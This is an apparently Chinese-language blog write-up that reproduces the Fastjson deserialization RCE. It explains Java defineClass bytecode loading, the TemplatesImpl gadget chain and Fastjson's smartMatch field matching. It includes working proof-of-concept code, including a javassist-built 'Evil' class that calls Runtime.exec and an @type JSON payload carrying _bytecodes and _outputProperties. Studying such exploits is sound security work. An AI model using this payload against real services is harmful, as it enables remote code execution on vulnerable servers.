因为复现 fastjson 漏洞时发现他们用的都是TemplatesImpl
的利用链,于是顺便回到 java安全漫谈 学习一下 java 中字节码动态加载的方法。
TemplatesImpl 利用链
要分析 TemplatesImpl 利用链
,首先我们需要了解 JAVA 动态加载字节码的方法。所谓动态加载字节码,是指 JAVA 从字节序列中恢复一个类并在 JAVA 虚拟机中加载的过程。其中ClassLoader
是比较常用的方法。ClassLoader
一般分三部分完成:loadClass
、findClass
、defineClass
。
loadClass
:从已加载的类缓存、父加载器等寻找类,如果没找到则交给findClass
findClass
:从一个指定的位置寻找类的位置defineClass
:处理前面传入的字节码,将其转化为JAVA类
defineClass
这一步在类加载过程中是最核心的,也是我们可以利用的。我们可以简单写一段 demo 来利用defineClass
加载类。
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA" +
"Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs" +
"bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh" +
"L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
"OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA" +
"AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
执行后输出了Hello World
因此有了defineClass
,我们可以执行任意命令,但可惜的是defineClass
是protected
属性的,不能直接在外部被访问,因此不能直接被利用。然而有一个 JAVA 内部类重写了defineClass
,并且是default
属性的,因此我们可以直接从外部访问并加以利用,这个类就是前面说的TemplatesImpl
类中的TransletClassLoader
。
为了利用TransletClassLoader#defineClass()
,我们向前追踪调用链。可以发现这么一条链:
TemplatesImpl#getOutputProperties()
-->TemplatesImpl#newTransformer()
-->TemplatesImpl#getTransletInstance()
-->TemplatesImpl#defineTransletClasses()
-->TransletClassLoader#defineClass()
其中最前面的这两个方法TemplatesImpl#getOutputProperties()
和TemplatesImpl#newTransformer()
的作用域都是public
。基于这些,我们可以利用newTransformer()
写一个简单的POC:
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
注意_tfactory
必须是一个TransformerFactoryImpl
对象,否则进入TemplatesImpl#defineTransletClasses
时会报错。另外有一点需要注意,TemplatesImpl
需要被加载的类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。
临门一脚
学完了TemplatesImpl
利用链,我们回到 Fastjson 的链上。其实学到了现在,要点差不多就讲完了,整个漏洞的利用过程如下:
- Fastjson 在反序列化的过程中会自动调用 setter 和 getter 函数
- 在 Fastjson 寻找到对应的反序列化器以后就会调用
smartMatch()
函数进行模糊匹配,将 json 中的_outputProperties
转化成outputProperties
- 随后 Fastjson 就会找到
outputProperties
方法 - 最后就会调用
TemplatesImpl
利用链造成 RCE。
纵观全过程,唯一没讲到的就是模糊匹配了,我们简单写一个 poc 来边讲边学习吧。
package com.example.demo.Controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Base64;
public class Poc {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"/bin/code\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = Poc.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
调试,跟进代码,具体过程在上一篇文章中有详细分析,这里不多赘述。直接来到JavaBeanDeserializer#deserial
第 604 行,调用了parseField
,对传入的字符进行匹配:
boolean match = this.parseField(parser, key, object, type, fieldValues);
跟进,来到JavaBeanDeserializer#parseField
第 743 行,调用了smartMatch
:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = this.smartMatch(key);
// ...
}
在smartMatch
中,我们传入的_outputProperties
被转化成outputProperties
:
接着传入getFieldDeserializer
,获得了我们需要的outputProperties
函数并返回:
继续跟进,来到了DefaultFieldDeserializer#parseField
:
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
this.setValue(object, value); // object: TemplatesImpl
}
跟进,发现此时的method
已经是我们希望的outputProperties
,并通过method.invode(object) // object: TemplatesImpl
成功反射,接下来就是 TemplatesImpl
利用链到 RCE 的过程了: